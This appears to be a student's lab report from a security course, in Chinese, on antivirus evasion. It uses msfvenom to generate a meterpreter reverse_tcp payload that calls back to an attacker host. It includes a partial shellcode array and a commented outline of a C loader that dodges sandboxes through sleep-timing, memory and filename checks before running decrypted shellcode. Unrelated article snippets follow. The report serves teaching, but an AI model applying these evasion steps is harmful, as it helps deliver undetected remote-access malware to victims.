当前位置: 首页 > 编程日记 > 正文

20155222卢梓杰 实验三 免杀原理与实践

实验三 免杀原理与实践

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

实验步骤如下

  • 1.先对实验二中生成的exe进行检测
    1073649-20180409093228592-584311846.png
    65款杀毒软件有36款认为不安全
    1073649-20180409093518072-487920520.png
    39款杀毒软件有6款认为不安全
    what??结果好像有点理想,但是实验还是要尴尬地做下去的
  • 2.再试试用msfvenom生成其他格式的文件
    • 1.java
      首先选择合适的payload
      1073649-20180409101817762-720951928.png
      1073649-20180409102221096-2067183484.png

      看看测试结果
      1073649-20180409102346737-1553072873.png
      与exe文件相差无几
      1073649-20180409102441551-116160314.png
      ??
    • 2.jar
      1073649-20180409105027167-668423082.png
      1073649-20180409104915417-1646035308.png
      1073649-20180409105112015-465097590.png

    • 3.python
      1073649-20180409105825490-676355308.png
      1073649-20180409105853485-434583469.png
      1073649-20180409105943204-1486389040.png

  • 3.veil-evasion
    1073649-20180411093852327-713325620.png
    1073649-20180411093924105-130719579.png
    效果很不理想,毕竟是世界知名的产品,早就被AV盯死了

    2.通过组合应用各种技术实现恶意代码免杀

    很无奈,接下来利用c+shellcode半手工打造恶意代码
  • 1.首先在kali中以一个正常的exe文件作为模板生成shellcode数组
    msfvenom -p windows/meterpreter/reverse_tcp -x lzj.exe LHOST=192.168.77.138 LPORT=5222 -f c
    1073649-20180411094734327-196688352.png
    然后将它拷贝到win7主机的codeblocks中,加几行语句形成如下代码

    unsigned char met[] =
    "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a"
    ///省略若干行
    "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f";
    int main()
    {//执行shellcode
    }

    编译就可以得到一个能够成功回连的exe文件。
    然而会被查出来,所以要用如下代码
    ```
    unsigned char met[] =
    "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a"
    ...省略一万字
    "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f";

    int main(int argc, char * argv[])
    {
    //获取当前系统时间
    //睡眠20000毫秒
    //再次获取当前系统时间
    //将两次时间相减看看是否小于19800
    //如果小于,可能是AV在检测,停止运行
    //如果大于,获取当前进程的内存,如果大于3500000 bytes,可能正在被检测,停止
    //如果小于,查看当前文件名是否跟原先一致,若果不一致,停止
    //否则解密shellcode、执行shellcode
    }

    ```
    就能得到一个免杀的恶意代码了。

    1073649-20180411154610203-175989436.jpg

    4.思考题

  • 1.杀软是如何检测出恶意代码的?
    1.静态检测,将代码与搜集来的知名度高的恶意代码比较。
    2.启发式检测,将代码放到沙箱环境中运行,看是否会生成恶意代码或有恶意行为
  • 2.免杀是做什么?
    绕过AV的检测
  • 3.免杀的基本方法有哪些?
    加密shellcode、DLL注入、RunPE 等等

转载于:https://www.cnblogs.com/20155222lzj/p/8796143.html

相关文章:

Linux wc命令详解

通常利用Linux的wc命令和其他命令结合来计算行和其他信息。在Linux下用wc进行计数。返回文件的行数、字数、字节数等。看个例子:wc wc1.txt3 5 16 wc1.txt输出信息依次是:行数 字数 字节数 文件名称。再具体点,单个统计。#wc -m filename&…

(剑指Offer)面试题54:表示数值的字符串

题目: 请实现一个函数用来判断字符串是否表示数值(包括整数和小数)。例如,字符串"100","5e2","-123","3.1416"和"-1E-16"都表示数值。 但是"12e","1a3.14"…

「动手学深度学习」在B站火到没谁,加这个免费实操平台,妥妥天花板!

论 AI 圈活菩萨,非李沐老师莫属。前有编写「动手学深度学习」,成就圈内入门经典,后又在B站免费讲斯坦福 AI 课,一则艰深硬核讲论文的视频播放量36万,不少课题组从导师到见习本科生都在追番。如此给劲的分享&#xff0c…

spring-redis-data的一个坑

事故原因: 运维报告redis内存直线上升,然后查询发现都是setrange操作,review代码,没法发现setrange操作 代码如下: redisTemplate.opsForValue().set(groupidxxxResult.getSeriesNo(), JSON.toJSONString(xxxRquestDTO…

Linux如何搜索文件的方法

#whereis 查找已经安装的软件 在Linux上查找某个文件是一件比较麻烦的事情。毕竟在Linux中需要我们使用专用的“查找”命令来寻找在硬盘上的文件。 Linux下的文件表达格式非常复杂,不象WINDOWS,DOS下都是统一的AAAAAAA.BBB格式 那么方便查找,在WINDOWS中…

python socket编程

python 编写server的步骤:1.第一步是创建socket对象。调用socket构造函数。如:socket socket.socket( family, type )family参数代表地址家族,可为AF_INET或AF_UNIX。AF_INET家族包括Internet地址,AF_UNIX家族用于同一台机器上的…

AI 语言模型真的是越大越好吗?这个模型优于 Gopher

编译 | 禾木木 出品 | AI科技大本营(ID:rgznai100) 近年来对于 AI 语言模型的有一个争议就是 —— 越大越好。 DeepMind 正在质疑这个理由,并表示给 AI 一个记忆可以帮助与它 25倍大小的模型竞争。 去年 6 月,OpenAI 发布 GPT-3 模…

[20180412]订阅+镜像切换

订阅镜像切换 主数据库挂了之后&#xff0c;镜像数据库没挂&#xff0c;那么就需要把镜像数据库设置成主数据库。1.修改主机名&#xff0c;改成和主数据库一样的&#xff0c;重启2.修改数据库中的主机名IF SERVERPROPERTY(ServerName)<>SERVERNAMEBEGINDECLARE srvname s…

【Cocos2d开发】Cocos2d下安卓环境的搭建

在进行Cocos2d游戏开发前 我们先来配置一下环境&#xff0c;我们先来准备一下工具&#xff0c;我们所需要的工具分别为&#xff1a;1.Cocos2d引擎2.JDK3.SDK4.NDK5.ANT6.ADT1.下载Cocos2d-x引擎&#xff0c;目前最新版本为3.6&#xff0c;本教程的所有例子以3.4版本为例&#x…

Linux时间转化方法

Linux时间转化方法&#xff1a;(1)date -d"2008年 12月 17日 星期三 17:27:22 CST" "%s"该命令将2008年 12月 17日 星期三 17:27:22 CST转化为时间戳结果:1229515680(2)将时间戳1123495443 换算成可以识别的年月日分秒date -d 1970-01-01 UTC 1123495443 s…

有的放矢,远程操控中实时音视频的优化之道

5G远程操控场景&#xff0c;对实时音视频传输的时延、卡顿率和抗弱网等指标都有着非常高的要求&#xff0c;本文将会介绍如何结合5G网络特点&#xff0c;在实时音视频通信链路中进行联合优化&#xff0c;满足行业场景远控需求&#xff0c;降低画面时延。 在上一篇文章中&#x…

Quartz动态添加、修改和删除定时任务

2019独角兽企业重金招聘Python工程师标准>>> Quartz动态添加、修改和删除定时任务 转载于:https://my.oschina.net/haokevin/blog/1795161

Linux下运行run文件

必须到Linux下的终端&#xff0c;不能用远程命令 #chmod 755 文件名 #./文件名

第五届中国企业服务年会:洞见2022数智化的“光与火”

汇智聚能&#xff0c;一起点亮“高增长的下一步”。 在疫情防控与复工复产双重因素的带动下&#xff0c;企业数智化成为不确定环境中的确定项&#xff0c;“ABCD&#xff08;人工智能、区块链、云计算、数据&#xff09;X”引爆生产力、生产资料、生产关系和基础设施革命&#…

QTP连接oracle

2019独角兽企业重金招聘Python工程师标准>>> 首先&#xff0c;因为群里很多朋友说QTP连接oracle有点麻烦&#xff0c;我针对于连接oracle做一个完整的教程&#xff0c;希望需要学习的朋友都可以来看一下&#xff1b;具体方法如下&#xff1a; 1、无论是什么语言&am…

java子类对象和成员变量的隐写方法重写

1、子类继承的方法只能操作子类继承和隐藏的成员变量名字类新定义的方法可以操作子类继承和子类新生命的成员变量&#xff0c;但是无法操作子类隐藏的成员变量&#xff08;需要适用super关键字操作子类隐藏的成员变量。&#xff09; public class ChengYuanBianLing { publi…

Linux的cron和crontab定时任务

定时任务调用shell本地Windows写一个shell test.sh #!/bin/bashecho "Course Arrange Job runs well at: " date "%Y-%m-%d %H:%M:%S" >> /usr/www/wwwshell/www.txt 先在服务器执行看可不可以 注意需要 # dos2unix ./test.sh 再 # ./test.sh需要…

用AI创造可持续发展社会价值,第二届腾讯Light·公益创新挑战赛正式启动

12月23日&#xff0c;“创变者”2021年度腾讯Light论坛在厦门正式举办。在论坛上&#xff0c;由全国妇联宣传部指导&#xff0c;腾讯公司联合中国儿童中心主办&#xff0c;企鹅伴成长、腾讯华东总部、腾讯SSV创新办学实验室、企鹅爱地球、腾讯优图实验室、腾讯云AI、腾讯云微搭…

CSS3 @keyframes animate

2019独角兽企业重金招聘Python工程师标准>>> 1.keyframes定义和用法 通过 keyframes 规则&#xff0c;您能够创建动画。 创建动画的原理是&#xff0c;将一套 CSS 样式逐渐变化为另一套样式。 在动画过程中&#xff0c;您能够多次改变这套 CSS 样式。 以百分比来…

linux系统命令学习系列-文件和目录管理

复习上节内容&#xff1a;1. 定时执行任务命令crontab –e, crontab –l,crontab –r2. 作业&#xff1a;定义一个定时任务&#xff0c;每分钟向/tmp/test.txt文件输出hello worldcrontab –e*/1 * * * * echo ‘hello world’>>/tmp/test.txt本节我们来说一下文件和目录…

GPT-3再进化:通过浏览网页来提高事实准确率

作者 | OpenAI来源 | 数据实战派为了让 GPT-3 模型可以更准确地对开放式问题进行回答&#xff0c;研究人员使用了基于文本的网络浏览器对 GPT-3 进行微调。微调后的 WebGPT 模型可以对人类实时回答问题的方法进行学习&#xff0c;比如提交搜索、跟踪链接并上下滚动网页。研究人…

lamp-安装脚本-修订版2

#!/bin/bash #write by zhang_pc #at 2015.08.07 #apache2.4 php.5.4 mysql5.5 #脚本说明&#xff0c;如果脚本所在目录有源码包就用本地的&#xff0c;否则就从互联网下载APR_FILESapr-1.5.2.tar.gz APR_DIRapr-1.5.2 ARP_PRE/usr/local/apr APR_URLhttp://mirror.bit.edu.cn/…

Linux的rc.local自启动服务

linux有自己一套完整的启动体系&#xff0c;抓住了linux启动的脉络&#xff0c;linux的启动过程将不再神秘。本文中假设inittab中设置的init tree为&#xff1a;/etc/rc.d/rc0.d/etc/rc.d/rc1.d/etc/rc.d/rc2.d/etc/rc.d/rc3.d/etc/rc.d/rc4.d/etc/rc.d/rc5.d/etc/rc.d/rc6.d/e…

[日常] Go语言圣经-函数递归习题

练习 5.1&#xff1a; 修改findlinks代码中遍历n.FirstChild链表的部分&#xff0c;将循环调用visit&#xff0c;改成递归调用。 练习 5.2&#xff1a; 编写函数&#xff0c;记录在HTML树中出现的同名元素的次数。 练习 5.3&#xff1a; 编写函数输出所有text结点的内容。注意不…

Centos下安装mysql 总结

一、MySQL安装 Centos下安装mysql 请点开:http://www.centoscn.com/CentosServer/sql/2013/0817/1285.html 二、MySQL的几个重要目录 MySQL安装完成后不象SQL Server默认安装在一个目录&#xff0c;它的数据库文件、配置文件和命令文件分别在不同的目录&#xff0c;了解这些目录…

Linux下的Memcache安装(含libevent的安装)

Linux下Memcache服务器端的安装服务器端主要是安装memcache服务器端&#xff0c;目前的最新版本是 memcached-1.3.0 。下载&#xff1a;http://www.danga.com/memcached/dist/memcached-1.2.2.tar.gz另外&#xff0c;Memcache用到了libevent这个库用于Socket的处理&#xff0c;…

谷歌发布 RLDS,在强化学习生成、共享和使用数据集

编译 | 禾木木 出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09; 大多数强化学习和序列决策算法都需要智能体与环境的大量交互生成训练数据&#xff0c;以获得最佳性能。这种方法效率很低&#xff0c;尤其是在很难做到这种交互的情况下&#xff0c;比如用真实的机器人…

浅谈 javascript 中的this绑定问题

javascript语言是在运行时前即进行编译的&#xff0c;而this的绑定也是在运行时进行绑定的。也就是说,this实际上是在函数被调用时候发生绑定的&#xff0c;它指向什么完全取决于函数在哪里被调用。1.默认绑定 例如直接在全局作用域下声明: var a2; console.log(this.a);在全局…

Centos用yum安装X Winodw

安装Centos 5.6系统的时候我没有先装任何组件&#xff0c;现在用X Window&#xff0c;需要再安装X Window&#xff0c;就可以启动图形界面了&#xff0c;但是默认的图形界面是很简陋的界面&#xff0c;可以根据需要再安装GNOME或KDE桌面环境安装X图形界面#可查询哪些组件是否已…

玩具javascript:cookie管理

2019独角兽企业重金招聘Python工程师标准>>> ;(function(window, undefined){var CookieUtil window.CookieUtil window.CookieUtil || {};var doc window.document;// 读取名称为name的Cookie信息CookieUtil.read function(name){// 暂无Cookieif(doc.cookie.l…